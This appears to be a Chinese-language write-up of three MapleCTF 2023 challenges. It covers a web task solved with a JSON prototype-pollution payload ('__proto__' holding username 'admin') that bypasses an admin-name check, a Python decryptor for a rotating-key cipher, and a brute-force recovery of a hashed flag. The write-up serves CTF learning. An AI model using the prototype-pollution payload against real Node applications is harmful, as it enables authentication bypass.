2023mapleCTF

2023mapleCTF

web

BLADE RUNNER

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require("express");
const app = express();
const router = express.Router();
const port = 3000;
app.use(express.json());
app.post("/", (req, res) => {
var obj = {};
console.log(req.body);
for (const k in req.body) {
console.log(k);
if (k.toLowerCase() == "username" && req.body[k].toLowerCase() == "admin") {
return res.status(400).send("You can't use that username.");
}
obj[k.toLowerCase()] = req.body[k];
}
console.log(obj.username);
console.log(obj.password);
return res.send("h");
});

app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});

这题略显逆天,本地node调试和web路由得到的结果不同,会将原本传入的json解析成以下的结果

1
2
3
4
{
['__proto__']: { username: 'admin' },
password: 'a',
}

这就会绕过判断,但是实际上我本地调试的时候,因为直接建立的是一个对象了,所以事先完成了污染的过程,才会fuzz不过

所以这题重点在于web传输过程和本地测试是不同的

payload

1
{"__proto__":{"username":"admin"},"password":"a"}

crypto

Pen and Paper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import string
import random

ALPHABET = string.ascii_uppercase


def generate_keystream(key, length):
keystream = []
while len(keystream) < length:
keystream.extend(key)
key = key[1:] + key[:1]
return keystream



def decrypt(ciphertext, key):
keystream = generate_keystream(key, len(ciphertext))
decrypted = []

for i in range(len(ciphertext)):
if ciphertext[i] in ALPHABET:
decrypted_char_index = (ALPHABET.index(ciphertext[i]) - keystream[i]) % 26
decrypted_char = ALPHABET[decrypted_char_index]
decrypted.append(decrypted_char)
else:
decrypted.append(ciphertext[i])

return "".join(decrypted)

with open("ciphertext.txt", "r") as f:
ciphertext = f.read()

key = [12, 21, 8, 19, 8, 8, 19, 23, 15, 12, 25, 16, 12] # 慢慢调

plaintext = decrypt(ciphertext, key)

print("Decrypted Message:")
print(plaintext.lower())

Re

JaVieScript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const crypto = require("crypto");
var flag = "maple{";
var honk = {};

async function hash(string) {
const utf8 = new TextEncoder().encode(string);
const hashBuffer = await crypto.subtle.digest("SHA-256", utf8);
const hashArray = Array.from(new Uint8Array(hashBuffer));
const hashHex = hashArray
.map((bytes) => bytes.toString(16).padStart(2, "0"))
.join("");
return hashHex;
}

async function constructflag() {
for (let i = 32; i <= 126; i++) {
var fleg = "maple{";

fleg += {}.toString()[9];

fleg += "aN"; //NaN
const char = String.fromCharCode(i);
fleg += "a";

fleg += char.repeat(4) + "as" + "_are_a_mId_FruiT}"; // [null]
if (
(await hash(fleg)) ==
"bfe06d1e92942a0eca51881a879a0a9aef3fe75acaece04877eb0a26ceb8710d"
) {
console.log(fleg);
}
}
}

constructflag();